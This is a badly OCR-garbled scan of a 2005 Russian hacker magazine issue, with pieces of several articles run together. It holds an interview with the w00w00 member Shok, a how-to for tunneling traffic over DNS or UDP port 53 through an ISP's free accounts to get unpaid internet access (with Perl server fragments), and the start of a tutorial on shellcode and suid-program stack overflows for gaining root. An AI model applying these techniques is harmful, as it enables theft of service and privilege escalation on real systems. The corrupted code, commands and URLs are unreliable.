также "официально" не исследовали правительст- 
венные сети. Хотя, насчет отдельных членов - не 
знаю. Может быть, кто-то этим и занимался в сво- 
бодное время. 

У ѵѵООѵѵОО есть какой-нибудь девиз? Ну, что-то 
такое, что выражало бы коллективную идею, дух. 
ЗІіок: Официального - нет. Хотя, иногда мы на фо- 
руме дурачимся и выдумываем себе всякие лозун- 
ги. Типа: "Ноѵѵ бо Йіе ѵѵОО \Ы уои бо?", "Ооі 
ѵѵОО?", "Опсе а ѵѵОО аіѵѵауз а ѵѵОО", "ѵѵООѵѵОО ѵѵогіб 
ботіпайоп". Но это все, конечно, произносится в 
шутку : 



ѵѵООѵѵОО на иетСоп 2000 



Оиі*> 



Кодинг 



Юниты 



ЮниксоидЫХ-Стиль 







ХДКЕР\№51 \М-арт\2005 



► 



ЗМок: Официального 
лого тоже не имеем. 
Просто неохота тра- 
тить время на такую 
ерунду. Та эмблемка, 
которая весит на 
ѵѵООѵѵОО.огд нарисова- 
на №р5Іег'ом два го- 
да назад, когда его 
компания еще не бы- 
ла такой большой. 
Честно говоря, мы во- 
обще сейчас практи- 
чески не поддержива- 
ем сайт. Иногда со 
стороны поступают 
предложения бес- 
платно изменить нам 
дизайн. Если человек 
заслуживает доверия, 
мы с удовольствием 
соглашаемся. 



листом? 

ЗИок: Года полтора-два. Сначала нужно было вы- 
учить С и ІІпіх, затем архитектуру х86 и ассемблер, 
и, наконец, научиться понимать эксплоиты, уметь 
писать их самому. 




Что компьютерному миру в будущем ждать от 
ѵѵООѵѵОО? 

ЗИок: Не думаю, что в ближайшем будущем мы вы- 
пустим пачку ѵѵООдіѵіпд'ов, хотя в течение 3-4 меся- 
цев, возможно, представим несколько интересных 
докладов. Вряд ли группе стоит расти дальше - у 
нас и без того уже достаточно много членов, и если 
продолжать в том же духе, вопрос доверия может 
оказаться довольно острым. Последние два года 
мы не так часто балуем Сеть новыми релизами. 
Опять же, у многих проблема со свободным време- 
нем. Но я надеюсь, что скоро это изменится. 



Какое для тебя значение имеет ѵѵООѵѵОО? 

ЗИок: В ѵѵООѵѵОО я с самых истоков и люблю каж- 
дую минуту жизни в ней. Я очень многому научил- 
ся от других членов группы, и многие из них стали 
моими лучшими друзьями. 



ЗНОК О СЕБЕ 



Что я все ЗИок да ЗИок? У тебя геаіпате есть? 
ЗИок: Мэт Коновер я :). 



На чем ты обычно работаешь и какими програм- 
мами пользуешься для проведения исследований? 
ЗИок: Я часто использую ІІМХ-системы (І_іпих, 
Зоіагіз, РгееВЗЭ) и ѴѴіп2000. Любимой операцион- 
ки у меня нет, все зависит от того, на чем я хочу 
работать в тот или иной день. Инструменты, кото- 
рыми я пользуюсь: ѵі, дбЬ, дсс, ЗоЙІСЕ, ЮА, ѴізиаІ 
ЗШсІіо и веб-браузер. 



Расскажи поподробнее о ѵѵООдіѵіпд. Как я пони- 
маю, это своеобразный сборник релизов, подго- 
товленный членами ѵѵООѵѵОО? 

ЗИок: Да. В конце 1999 г., с ноября по январь, мы 
подготавливали каждую неделю по одному докла- 
ду. Но публично релизить их как-то не хватало 
времени. Поэтому в январе 2000 г. мы решили вы- 
пустить все асіѵізог'ы одной кучей и назвали сей 
пак ѵѵ00діѵіпд'99. К сожалению, второго ѵѵООдіѵіпд'а 
не было, так как все сейчас слишком заняты. 



Тэк-с, с именем разобрались. А еще что-нибудь 
о себе расскажи. Сколько лет, где живешь и чем 
занимаешься? 

ЗИок: Мне 20 лет. Живу в Соединенных Штатах 
Америки. Учусь в институте сразу по двум специ- 
альностям: математика и компьютеры (уже на пол- 
пути к диплому). Последние несколько лет рабо- 
таю в области компьютерной безопасности. 



А чем на компьютере больше всего любишь за- 
ниматься? 

ЗИок: В первую очередь, конечно, исследованиями 
в области іпеі зесигііу. На втором месте - зоЙѵѵаге 
епдіпеегіпд. 



У вас на сайте лежит файлик ѵѵООѵѵОО.трЗ. Что 
он есть, и что за хрюндель там орет? 

ЗИок: Это выступление одного американского ко- 
мика, который показывает пьяных людей. Он гово- 
рит, что ѵѵОООООО - единственное международное 
слово, которое произносят все пьяные :). 



іі 



ЗИок, вы никогда не думали о том, чтобы из не- 
коммерческой организации превратиться в ком- 
мерческую? Что вас останавливает? 

ЗИок: Мы никогда не станем коммерческой орга- 
низацией, потому что это разрушит все принципы, 
на которых основана ѵѵООѵѵОО. Большинство наших 
ребят уже работают в сфере компьютерной безо- 
пасности. И если мы станем в рамках группы зани- 



А как ты очутился в этом самом мире этой са- 
мой безопасности? 

ЗИок: Первый компьютер у меня появился еще в 
школе, лет в 1 1 . Первое время, как, наверное, и 
все, занимался ерундой. За несколько месяцев до 
своего 14-летия пересел на Упих и стал изучать 
программирование на С. Увлечение компьютерной 
безопасностью началось в том же году. Мне это 
казалось очень интересным и захватывающим. 

Это был вызов технологиям, который возбуждал 
по-своему. Пройдя в подростковом возрасте фазу 
скрипт-кидера, я углубился в исследования - на- 
хождение новых техник атак и их предотвращение, 
изучение новых технологий (таких как .МЕТ) и т.п. 
Первое время скитался по хакерским каналам ІПС, 
где заводил знакомства с людьми, знающими 
больше меня. Через них знакомился с другими. 
Так постепенно втягивался. 



Насколько серьезно в США стоит проблема ком- 
пьютерной безопасности? 

ЗИок: Достаточно серьезно, особенно после траге- 
дии 1 1 сентября. У нас теперь, наконец, появилась 
полноценная суЬегзесигіІу дгоир. Не уверен насчет 
компетентности этих ребят - особо к ним не при- 
сматривался. Но они хоть стараются исполнять свои 
обязанности. Туг, кстати, повсеместно бытует мне- 
ние, что ребятам из РВІ и СІА приходится работать 
на допотопных компьютерах, а уровень их знаний 
оставляет желать лучшего. Может так оно и есть, но 
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Сколько времени тебе понадобилось, чтобы ты 
смог, наконец, признать себя неплохим специа- 
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Зоіаг йезідпег и Эйд Зопд на конференции 
"Наскегз аі іагде" 



мое мнение - они намного лучше технически осна- 
щены, чем думают люди. Конечно, слухи об их не- 
компетентности федералам на руку, и они не спе- 
шат разубеждать народ. Кто-то может проникнуть в 
правительственные сети и, выйдя сухим из воды, 
подумать, что администраторы и агенты секретных 
служб - лопухи. Но я думаю, эти ребята просто на- 
блюдают и ждут более крупную добычу, чтобы во- 
время выйти из тени и надеть наручники. Эта тема 
у нас, кстати, обсуждалась пару недель назад :). 

Насчет квалификации... как думаешь, какой оп- 
тимальный путь ее приобретения? 

ЗИок: Терпение и труд все перетрут :). Помимо не- 
изменного чтения документаций и книг, полезно 
завести знакомства со знающими людьми - они 
могут помочь на первых порах. Имхо, один из луч- 
ших форумов в инете - Іійр://ѵѵѵѵѵѵ.ШеІіаскег- 
зсІіоісе.сотДогитз. Ребята из ТЕЗО и ТНС облада- 
ют неплохими знаниями и всегда готовы помочь. 
Впрочем, мы тоже обычно протягиваем руку помо- 
щи, когда к нам обращаются. Еще одно хорошее 
место, где можно получить ответы на вопросы - 
рассылки зесигііукюиз'а: Іійр://опІіпе.5есигйук)- 
сиз . сот/сд і - Ьі п /зТоп I і пе/зи Ьзсгі Ье . рі 

Ну, а как насчет официальных источников зна- 
ний? Я имею в виду вузы. Какие институты, ты 
считаешь, дают лучшее в мире компьютерное об- 
разование? 

ЗИок: Конечно, это Массачусетский Технологичес- 
кий Институт (МІТ), Университет Карнэги-Мэллон 
(СМІІ), Калифорнийский Технологический Институт 
(СаКесІі), Технологический Институт Джорджии 
(Оеогдіа ТесМ), Институт Беркли, Университет шта- 
та Мичиган, Университет штата Иллинойс, а также 
Институт Дэвис. 

А стоит ли вообще этим заниматься? Учить 
столько всего, становиться специалистом... :) Как 
думаешь, в ближайшем будущем это будет востре- 
бовано? И где лучше всего зарабатывать деньги не 
в меру крутому эксперту в сфере компьютерной 
безопасности? 

ЗИок: Зарабатывать, наверное, лучше всего в США. 



Просто здесь отлично развита экономика и техничес- 
кая промышленность. Что касается востребованности 
- хорошему специалисту о ней можно не беспокоить- 
ся. В нашей стране, например, сейчас ощущается 
серьезная нехватка зесигііу-экспертов. Думаю, по- 
добная картина характерна для всех развитых стран. 

Сам-то ты где собираешься работать в будущем? 
ЗІток: Мне нравится заниматься компьютерной бе- 
зопасностью, и я собираюсь связать с этим свою 
жизнь. Только хочу устроиться на полный рабочий 
день. Пожалуй, лучшим местом будет исследова- 
тельская группа какого-нибудь института. Такого 
как СІТІ (сШ.итісІт.есІи), например. Там платят 
меньше, чем в компаниях, но удовольствия полу- 
чаешь несоизмеримо больше. 

С появлением новых уязвимостей и видов атак 
постоянно разрабатываются новые виды защиты. 
Можешь рассказать о современных способах, ко- 
торыми компании-разработчики защищают свои 
продукты? 

ЗИок: Компании в последнее время стали выпус- 
кать все больше продуктов по типу "опе-зіге-йіз- 
аІГ. Например, недавно появились МозТ-ЬазесІ сис- 
темы для предотвращения сетевых атак, которые 
блокируют чтение/запись непривилегированного 
процесса в память привилегированного, не допус- 
кая тем самым запуск "левых" приложений. Также 
мой приятель ОбесІ недавно написал статью о том, 
как обнаруживать тип атаки іпіедег оѵегТІоѵѵ через 
дсс-патч. Я не уверен, в каком направлении будет 
развиваться компьютерная безопасность дальше, 
поживем - увидим. 

Какую операционную систему ты считаешь са- 
мой безопасной? 

ЗМок: Я бы отдал первый приз системе ОрепѴѴаІІ 
(ОѴѴЦ, разработанной Зоіаг Эезідпег'ом совместно 
с пегдаГом и другими. Второе место за ОрепВЗО, 
к которой приложили руку Эйд Зопд и Иіеіз Ргоѵоз. 

Кто для тебя авторитет в компьютерном мире? 
ЗІіок: Я уважаю некоторых ребят из России: Зоіаг 
Оезідпег, ТгееІзсІ , зігапіег; парней из Австралии: 
сіике, сасісііз, бісе; европейцев: ріадиег, Маіѵаг, пег- 
даі, ОбесІ Ногоѵій; а также своих земляков: Вгисе 
ЗсМпеіег, Эйд Зопд, Иіеіз Ргоѵоз, Могігоп, гір. В ми- 
ре много умных людей, которые заслуживают ува- 
жения. 

Кто, по-твоему, внес наибольший вклад в исто- 
рию развития компьютерных технологий? 

ЗІіок: Парень, который изобрел эргономическую 
клавиатуру. 



Юниксоид. 



А чем ты занимаешься помимо компьютеров? 
Куда ходишь развеяться? 

ЗІіок: Хожу на концерты. Мне нравится хардкор, 
панк-рок, эмо и рэйв. Кстати, именно там я 
встретил свою девушку. Люблю кататься на конь- 
ках, загорать на пляже, путешествовать, кататься 
на сноуборде, играть в хоккей, футбол и другие 
активные игры. Вообще, я считаю себя вполне 
обычным парнем :). 



А что обычный парень предпочитает смотреть, 
читать и слушать? 

ЗІіок: Люблю классическую литературу. Из русских 
авторов - Достоевского и Толстого. Из компьютер- 
ных отдаю предпочтение: "ІІпіх №йѵогк 
Ргодгатшіпд", "Іпзісіе ѴѴіпсІоѵѵз 2000", 
"ІІпбоситепІесІ ѴѴіпсІоѵѵз 2000 Зесгеіз", "ЗРАВС 
АгсІіііесШге", "АззетЫу Бапдиаде Ргодгаттіпд", 
"Зоіагіз Іпіегпаіз: Соге КегпеІ АгсІійесШге", "Аррііеб 
Сгуріодгарііу", "ТІіе йезідп апсі ІтрІетепМіоп оТ 
ВЗЭ 4.3" и "Іпіеі йеѵеіорег тапиаіз" 
(сІеѵеІорегМеІ.сот). Это книги, на которых я вы- 
рос, и которые меня многому научили. Представ- 
ляю, как тяжело изучать компьютерную науку тем, 
у кого английский язык - не родной. Поэтому лю- 
дей, которые стали специалистами, несмотря на 
языковой барьер, я уважаю вдвойне. Из журналов 
хочу выделить: "ЗсіепШіс Атегісап", "Атегісап 
ЗсіепйзГ, "Оізсоѵег, Иеѵѵзѵѵеек" и "ВизіпеззѴѴеек". 
Фильмы, которые я смотрел с удовольствием: 
"ЕдиіІіЬгіиш", "Міпогііу ВероіТ, "Заѵіпд Ргіѵаіе 
Вуап", "Рі" и "Мотепіо". Больше всего мне нравят- 
ся футуристические картины типа "Матрицы", а 
также некоторые работы Спилберга. Список люби- 
мых групп выглядит так: Заеііа, Аігеуи, ТІіе ІІзесІ, 
Такіпд Васк Зипсіау, Ріпсіі. 



Первые ассоциации с этими словами: Билл 
Гейтс, музыка, интернет, космос, карьера, смерть? 
ЗІіок: Билл Гейтс - Гитлер (хорошая идея зашла 
слишком далеко), музыка - отличный допинг, ин- 
тернет - моя дорога в жизни, космос - пустын- 
ность, одиночество, карьера - важно, чтобы работа 
доставляла удовольствие, смерть - то, чего я бо- 
юсь и к чему еще не готов. Но я верю, что жизнь 
после смерти продолжается. 



Твой мудрый совет нашим читателям? 

ЗІіок: Упорство - единственный способ преодолеть 
преграды на пути к мастерству. И во время этого 
пути не переставайте учиться! 



Данкешон... в смысле сенкс фор ин- 
тервью, Мэт. 

ЗІіок: Пожалуйста : 
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ЯВНЫЙ ОІАШР 



Сейчас многие провайдеры предоставляют так называемые Тгее-аккаунты, необходимые для пополнения счета через 
ѴѴеЬ или просто для посещения провайдерского сайта. Доступ в интернет через такие аккаунты конечно же перекрыт 
фаерволом, поэтому они никому не нужны и малоинтересны. 

Но, как известно, у медали две стороны. В наш бурный век протоколы расширяются до неимоверных пределов. РЫБ не 
исключение, так как именно через него стало возможным создание полноценного ІР-туннелинга. Конечно, реализация 
непростая. Тут и обмен по ІШР вместо надежного ТСР, требование полной синхронизации данных, а также фрагмента- 
ции пакетов, по той причине, что РЫБ-запрос может состоять лишь из 512 байт. Казалось бы, все не в пользу програм- 
миста, но и они, в свою очередь, не лыком шиты и вполне способны сделать из мухи слона =). 



ПЕРВОЕ РОЖДЕНИЕ - Ы5ТХ 
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Итак, после долгих мучений родилась первая вер- 
сия сервера и клиента МЗТХ (что в расшифровке 
означает "№те5егѵег ТгапзТег РгоІосоІ). Эта про- 
грамма позволяет построить туннель между двумя 
ІІМХ-серверами посредством интерфейса ЕШеіІар. 
Чтобы воспользоваться этой программой, нам так- 
же нужен будет собственный домен, а точнее, до- 
ступ к зонам на каком-либо сіпз-сервере. Меха- 
низм передачи будет примерно следующим: кли- 
ент, запущенный локально с параметром домена и 
бпз-сервера, будет передавать зашифрованный 
трафик через ЕИтеіІар. Эпз-сервер вернет серваку 
прова поле N3, тот, конечно же, обратится на эту 
тачку, на которой будет стоять пзЪс-баетоп, воз- 
вращающий трафик по ейіеііар-интерфейсу, стоя- 
щему на системе конечной точки. В итоге получа- 
ем полноценный обмен трафиком. 

Переходим от теории к практике. Для удачного 
эксперимента тебе понадобится домашний сервер 
на пингвине, который ты, надеюсь, ставил не один 
раз =), шелл в забугорье без установленного 
патесГа на нем, а также собственный домен (вто- 
рое и третье ты можешь попросить у кого-нибудь 
за символическое пиво). Далее, создаешь домен 
третьего уровня с полем N3, значение которого 
будет адресом тачки с установленным пзѣс. 



УСТАНОВКА 



Топаем на эту самую тачку, устанавливаем пзЪс и 
поднимаем еШеіІар (непосредственно через него и 
будет проходить весь трафик). Для начала созда- 
дим блочный файл /беѵДарО, командой "ткпосі 
/беѵДарО с 36 16". Затем подгружаем модуль 
еіітеііар.о (Іосаіе ейіеііар.о, іпзтосі /раИіДо/еИіег- 
Іар.о) и, наконец, поднимаем интерфейс: 
іісопіід ІарО ир 192.168.0.1, присваивая тем самым адрес. 
Напоследок создаем роутинг: гоіДе абб -Гіозі: 
192.168.0.2 дѵѵ 192.168.0.1, чтобы сервер мог ви- 
деть клиента =). И запускаем пзЪсб с параметром 
созданного домена третьего уровня. 



ІНьюсы 





Поднимаем интерфейс ЕѴіегіар 

На домашнем компьютере проделываем в точности 
такую же операцию, только запускаем клиент пзѣссб 
с двумя параметрами: домен и бпз-сервер, на кото- 
ром прописаны зоны к этому домену, логически за- 
вершая туннелинг. ЕМеіІар'у клиента присваиваем 
ір-адрес 192.168.0.2. Затем пробуем пинганугь 
192.168.0.1 . Если пинги пойдут, значит, тоннель ра- 
ботает. В моем случае все заработало со второго 
раза, и то из-за невнимательности :). Но так как 
шелл стоял очень далеко, да и коннект у прова был 
паршивый, такой интернет разочаровал своей мед- 
лительностью, и я забил на эту идею. Но ненадолго. 



СПАСИТЕЛЬ ІЮР 



Мне пришла в голову следующая мысль: а что, ес- 
ли провайдер позволяет светить 53-ий порт куда 
угодно, заботливо оставляя его для ЭИЗ-обмена. 
Решив проверить эту фичу, я написал простенькую 
систему клиент-сервер, передающую данные и за- 
писывающую их в логфайл. Оставалось проверить 
успешную передачу и радоваться жизни. Однако 



не стоит сильно обнадеживаться. Может оказаться 
так, что провайдер закроет все порты, даже 53-ий 
ІЮР. Но вернемся к нашей утилите. Я опишу рабо- 
ту сервера, а клиент ты без труда напишешь и сам 
(по аналогии). Для кодинга я выбрал язык РегІ, так 
как мог свободно пользовать ѴѴіпбоѵѵз-клиент и 
*піх-сервер для работы с ибр-сокетом.( Таблицаі) 

Этот сервер устанавливаем на нашем шелле. Он, как 
ты, наверное, уже догадался, будет принимать дан- 
ные на 53-ий ибр-порт. Аналогичный клиент пошлет 
запрос на сервер, и если он успешно дойдет, то бу- 
дет записан в файл "ассерГ. Пролистав его, ты пой- 
мешь, светится ли порт. Если порт будет открыт, 
возможно написать свой сервер, который следит за 
ибр-подключениями, создает Іср-соединение и пе- 
ренаправляет іср в ибр и наоборот. То есть осущест- 
вить туннелинг по следующей схеме: локальный кли- 
ент, следящий Іср-порт и перенаправляющий все 
данные с него на ибр-порт удаленного сервера, ко- 
торый, в свою очередь, порождает Іср-соединение с 
возвратом всех данных посредством ибр-датаграмм. 

Несмотря на кажущуюся сложность схемы, все до- 
вольно просто. Пишется сервер, который будет на- 
ходиться на шелле с хорошим каналом в инет, и 
клиент, который будет запускаться непосредствен- 
но с домашней машины. Для реализации этой схе- 
мы нам потребуется: 

а) АсйѵеРегІ, если у тебя ѴѴіпбоѵѵз (в случае с ІМТЗХ, 

Таблица 1 



#!/изг/Ьіп/регІ 



## СИескег Тог ореп ибр роііз 



изе ІО::ЗоскеТ 



$зоск= ІО : : Зоскеі: : : I N ЕГ- > пеѵѵ( ЬосаІ РоП= >53 , Рго1:о= > т иб р' , Реизе= > 1 ) || біе "сапі сгеаіе зоскеі $!\п" 



ѵѵІтіІе($50ск->гесѵ($баІа, 1 0000,0)) { 



ореп(ТР,">ассерГ); 



ргіпі ТЕ "(ЮТ тзд $ба*а\п 



сІозе(ТР); 



Террум Іпгігіе 



РС гопе 4 
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юзание ѴѴіпсІоѵѵз недопустимо). 

б) ЗМеІІ в России или в зарубежье. 

в) Доступ к Ргоху-серверу с доступным СОИ N ЕСТ 
методом (необязательно). 



Если у тебя есть все три составляющие, то ты мо- 
жешь использовать мой проект, позволяющий де- 
лать туннель для ІРС. Конечно, это неполноценно, 
но халявный ІРС меня вполне устраивает, и потеря 
пакетов там незначительная. Сам сервер и клиент 
выполнены несколько по-разному. Тут я попытаюсь 
рассказать основной принцип работы сервера и 
клиента с небольшими фрагментами кода. 



СЕРВЕР: ІЮР8ЕКѴЕК.РІ 



Прежде чем писать сервер, я тщательно обдумал, 
что от него требуется. А требовалось от него: 

1 ) Многопоточность. 

2) Гибкое закрытие сокета при обрыве его клиен- 
том. 

3) Проверка всех клиентов на живучесть с помо- 
щью кеер-аііѵе мессаг. 



В какой-то мере я добился выполнения всех трех 
пунктов. Чтобы ты смог разобраться в коде, я рас- 
скажу тебе об основных скалярах и векторах в мо- 
ей программе: 



%роііз - хеш, хранящий список локальных портов 
(по ним происходит сравнение сокетов). 

%ІосаІе - хеш, хранящий полный адрес сокета (не- 
обходим для точной отправки иф-датаграммы). 
@зоскеІ5 - массив, хранящий идентификаторы со- 
кетов. 

@ріпдз - массив, необходимый для процедуры об- 
работки пинга сокета. 

$ІітеоиІ - таймаут, по умолчанию три минуты (зна- 
чение * 3, в дальнейшем я расскажу про эту пере- 
менную). 

$зоскеі5 - подсчет количества открытых сокетов. 
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Процедура, проверяющая сокеты на живучесть 



$ргоху - прокси-сервер, для Іср-соединения. 
После объявления этих важных идентификаторов, 
мы создадим иф-сокет, который будет ловить 
пакеты на 53-ем порту, а также добавим его в 
объект модуля ІО::ЗеІеф чтобы следить за дан- 
ными в этом сокете. Затем порождаем беско- 
нечный цикл, в котором читаем данные с иф- 
сокета следующей конструкцией : ( Таблица 2) 



ОБЗОР УТИЛИТЫ 



В этой части сервера все просто. Следим за при- 
ходящими на иф-порт пакетами. Как известно, 
этот пакет может быть доставлен с любого ір-ад- 
реса и порта, так как фактического соединения с 
подтверждением не происходит (такой уж он - 
иф). Если в хеше %роіІ5 нет локального порта, 
откуда пришел этот пакет, считаем его новым, и 
делаем для него туннель через Іср-сокет. В про- 



Таблица 2 



ТогеасГі $п ($исІр->сап геасі) { ## Смотрим все идентификаторы сокетов, в которых есть данные 
\\ ($п ей $зоскиф) { ## Если идентификатор - $50скиф, то есть наш сокет 
$5оскиф->гесѵ($тзд,1024); ## Получаем из него сообщение 
ту($роП,$асІсІг)=50СкасІсІг_іп($50скисІр->реегпате); ## Запоминаем порт и адрес 
$ТІад=0,$і=0,$п5Оск=0; ## Обнуляем временные переменные 
ТогеасГі $іп (ѵаіиез %рогТз) { 

$і++; 

К ($іп пе -1) { 

\і ($іп ец $роД) { 

$ТІад= 1 ,$пзоск=$і; ## Ищем этот порт в хеше портов, если он есть, устанавливаем $ТІад 1 , иначе - О 



ипіезз ($Над) { 

$ШгеасІ5++; 

$гез=1срзоск($роі1,$ШгеасІ5); ## Если порт новый, создаем новый ІРС-сокет 



## Оперируем над старыми иф-датаграммами 



тивном случае переходим в малоинтересную часть 
кода - прием сообщений со всех порожденных (в 
данный момент времени) Іср-сокетов, с последую- 
щим возвратом пакетов клиенту через иф. Интерес- 
нее будет рассказать про процедуру отключения со- 
кета по таймауту (при завершении сессии весь тун- 
нель должен быть корректно завершенным, с отклю- 
чением Іср-соединения для него). Это делается с 
помощью сигнала АІ_ВМ, посылаемому серверу че- 
рез определенный промежуток времени (этот про- 
межуток и есть $йтеоиІ). Так как при передаче паке- 
тов через иф возможна их потеря, контролировать 
которую крайне медленно и неудобно, мы обходим- 
ся тройной передачей сообщения "КЕЕР" клиенту. 
Если клиент хотя бы один раз возвращает "АІ_ІѴЕ", 
значит он все еще с нами =), и мы не убиваем его. 
Иначе закрываем сокет и присваиваем идентифика- 
тору значение "-Г, впоследствии считая его мерт- 
вым. Они все могут быть "оживлены" заново при но- 
вом подключении. Таким образом количество эле- 
ментов массива сводится к минимальному, что су- 
щественно улучшает производительность скрипта. 




Испытание ІПС-туннелинга в работе 



Хотелось бы вернуться к третьему пункту требова- 
ний для пользования иф-1ср туннелера в ІРС. Я 
отметил, что прокси использовать необязательно 
(в этом случае можно напрямую вписать ір ирц- 
сервера в переменную $ргоху, таким образом, 
сервер будет соединять тебя лишь с одним ІРС- 
серваком). С прокси же все по-другому. Через не- 
го ты можешь соединиться по НТТРЗ-методу с лю- 
бым ІРС-серваком на твой выбор, что значительно 
улучшает гибкость скрипта. Клиент я разбирать не 
буду, так как его реализация намного проще сер- 
верной, и разобраться в нем может практически 
каждый. Врубив удаленно сервер, соединяйся с 
провайдером на тестовом аккаунте и врубай кли- 
ент с параметром Іср-порта, который будет слу- 
шаться на твоей машине. Затем трави тІВС (или 
другой клиент) на прокси 127.0.0.1 с портом, тем, 
что ты указал в клиенте. Если все прошло успеш- 
но, ты увидишь туннель в действии. 



Никто не запрещает тебе расширить возможности 
этого туннелера, сделав его пригодным для веба 
или аси. Основу скрипта я расписал, а под нее 
можно пристроить все что угодно. Благодаря мно- 
гопоточности, ты можешь делиться халявным ин- 
тернетом со своими друзьями за пиво :). И поспо- 
рить с законом туг можно - что не запрещено, то 
разрешено, а оставлять доступным ОИЗ-сервер, а 
также его порты, не твоя забота... 



Все проекты, описанные в этой статье, ты можешь ска- 



чать по следующим ссылкам: 

N 5ТХ: нттр://ызтх. оерегереысе. ое/ызтх.тар. бі 



ІРС: нттр://камеы5к. ыет. ры/горв/ 1 /х/и ор-ірс.тар .02 



Это ОТНЮДЬ НЕ ЕДИНСТВЕННЫЙ ВАРИАНТ ТУННЕЛИНГА. СУЩЕ- 



СТВУЮТ ТАКЖЕ ДРУГИЕ ПРОГРАММЫ, ЯРКИИ ПРИМЕР - ІРРОХѴ, 



В КОТОРОЙ есть возможность создавать туннель по ШОР. 

В РЕЗУЛЬТАТЕ ТЕСТИРОВАНИИ НАБЛЮДАЛСЯ ПРОВАЛ, ПОЭТОМУ 
ОПИСЫВАТЬ ЕЕ В ЭТОЙ СТАТЬЕ Я НЕ СТАЛ. СКАЧАТЬ И ОЦЕНИТЬ 

ее возможности можно отсюда: 

нттр://\ллллл/.ѴЕРОЕМЕТ.МЕТ/і_іі\іих/іррохѵ/саоЕ/іррахѵ-ІІ).ІІ).(І).ТАР.Б2 






Юниксоид, Х-Стиль Кодинг Юниты 



г. 
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ПЕРЕПОЛНЕНИЕ БУФЕРА В СТЕКЕ. ШЕСТВИЕ ВТОРОЕ 



ставляются пользовательскому процессу. Вызовов 
этих достаточно много (более 200 под Ііпих), и все 
они определены в /изг/юсЫе/азт/итзШ: 



Что такое зИеІІсосІе? Это код, выдающий шелл. На- 
писан он будет в машинных кодах. Почему именно 
так? Во-первых, наши переполнения базируются на 
организации стека и регистрах. А там только байты 
и машинные коды. Самый простой (и распростра- 
ненный) способ создания шеллкода - написание его 
на ассемблере, а потом перевод в машинный код (к 
примеру, оЬісІитр'ом). Шелл, в понимании ипіх, да- 
ют программы /Ьіп/зб, /Ьіп/кзМ, /Ьіп/ЬазИ и другие. 
Т.е. все, что тебе нужно - запустить /Ьіп/зМ на ас- 
семблере. Ассемблеров под ипіх много, но мы возь- 
мем стандартный "аз" с аШ-синтаксисом. 
Аі&Т-синтаксис кардинально отличается от іпіеГов- 
ского (іазт/пазт/тазт). Вот основные нюансы: 



Все файлы в любом ипіх имеют помимо прав до- 
ступа (комбинации г, ѵѵ, х) еще и атрибуты: зііску 
Ьіі, зиісі/здісі и блокирование, 
зііску Ьіі - в современных осях практически не ис- 
пользуется, но раньше юзался для уменьшения 
времени загрузки наиболее часто запускаемых 
программ. Механизм действия таков: после за- 
вершения программы ее образ остается в памяти, 
и последующие запуски программы производятся 
быстрее. 

зиісі/здісі - это то, что нас больше всего интересу- 
ет. Эти атрибуты (или флаги) позволяют менять 
привилегии с текущего пользователя на владельца 
файла. Например, у тебя есть некая программа, 
на которой стоит 81ІЮ-флаг, владелец и группа 
файла - гооі Если пользователь запустит такую 
программу, то процесс будет работать с правами 
рута. Интересно еще и то, что процессы, порож- 
денные из такого "суидного" файла, также насле- 
дуют рута. И что же получается? А то, что если пе- 
реполняется буфер в стеке суидной программы, 
то, в принципе, ты можешь сделать нечто неза- 
планированное в программе на гооі-уровне. 

Третий атрибут - блокирование. Он позволяет уст- 
ранить проблему возникновения конфликтов в том 
случае, когда с данным файлом работают не- 
сколько задач одновременно. 

Из всех атрибутов в нашем случае важны 
зиісі/здісі. Почему? Потому что ты можешь, нахо- 
дясь в пользовательском процессе, юзать пере- 
полнение в стеке любой суидной программы и по- 



Перед регистрами всегда ставится знак ’%' 
(%еЬр,%еах). 

Перед непосредственными операндами символ '$' 
(ризЬ $1). 

Директивы всегда начинаются с точки (Техі,.сІаіа). 
Если после каких-то символов стоит двоеточие, то 
это означает метку (как и в іпіеі). 

К командам, имеющим операнды, добавляются та- 
кие суффиксы: 



Это три наиболее часто используемых суффикса 
(есть еще и з, і, ц и т.д.). Сама ассемблерная про- 
грамма должна начинаться с метки зіагі В отли- 
чие от іпіеі-ассемблеров, метка епсі не нужна: 



Формат работы с системными вызовами на ассем- 
блере достаточно прост. В необходимые регистры 
заносятся нужные значения, а потом происходит 
обращение к 80-му прерыванию: 

В регистры еЬх, есх, ебх - аргументы системного 
вызова. 

В регистр еах - номер системного вызова. 



Ассемблирование программ крайне простое: 






После этого линковка и создание исполнимого мо- 
дуля: 

Для того чтобы написать свой шеллкод, необходи- 
мо знать, что существуют различные системные 
вызовы. Это некие услуги ядра, которые предо- 



Например, системный вызов ехіі будет выглядеть 
так: 



альные куски кода, которые делают такие вещи. 



Іпгігіе 



Ньюсы 



Реррум 



Взлом 



ЗНЕИСОРЕ 



Из предыдущей части статьи ты уз- 
нал, что же собой представляет пере 
полнение в стеке и каким образом 
оно получается. Узнал, что такое ре- 
гистры, инструкции и весь необходи- 
мый теоретический минимум. Сего- 
дня же мы займемся непосредствен- 
но реализацией. Делать это будем 
под Ііпих на х86-ом процессоре. Но 
сначала немного теории. 



[Ьоі]# МеасІ -п 20 /изг/іпсіибе/азт/ипізісі.іі 
#іТпсІеТ А8М 1386 ^ІЗГО Н 
#беііпе А8М 1386 У N 1 8Ю Н 



ТЫз Тііе сопіаіпз Фе зузіет саІІ питЬегз. 



#беііпе N Рехіі 1 

#сІеТіпе N ВТогк 2 

#сІеТіпе МР геасі 3 

#сІеТіпе _І\ІВ_ѵѵгіІе 4 

#сІеТіпе _МВ_ореп 5 

#сІеТіпе _І\ІВ_сІозе 6 

#сІеТіпе _І\ІВ_ѵѵаіірісІ 7 

#сІеТіпе _І\ІВ_сгеаі 8 

#сІеТіпе МР Ііпк 9 

#сІеТіпе МРипІіпк 10 

#сІеТіпе _МВ_ехесѵе 1 1 

#беііпе _1\1В_с№ 12 

#сІеТіпе _МВ_ііте 13 

#сІеТіпе _І\ІВ_ткпосІ 14 

#беііпе МР сМтосІ 15 

#сІеТіпе МР ІсГіоѵѵп 16 

#сІеТіпе МР Ьгеак 17 

#сІеТіпе _І\ІВ_оІсШ 18 

#сІеТіпе МР Ізеек 19 

#сІеТіпе МР деірісі 20 

#сІеТіпе _МВ_тоипі 21 

#сІеТіпе _МВ_итоипі 22 

#сІеТіпе _І\ІВ_зеУсІ 23 

#беііпе _МВ_деУсІ 24 

#сІеТіпе _МВ_зііте 25 

#сІеТіпе _І\ІВ_рігасе 26 

... и так далее ... 



АТРИБУТЫ ФАЙЛОВ 



вот и ехесѵе 



суффикс описание 

Ь байт 

ѵѵ 2 байта 

I 4 байта 



пример 

тоѵЬ $1 ,%аІ 
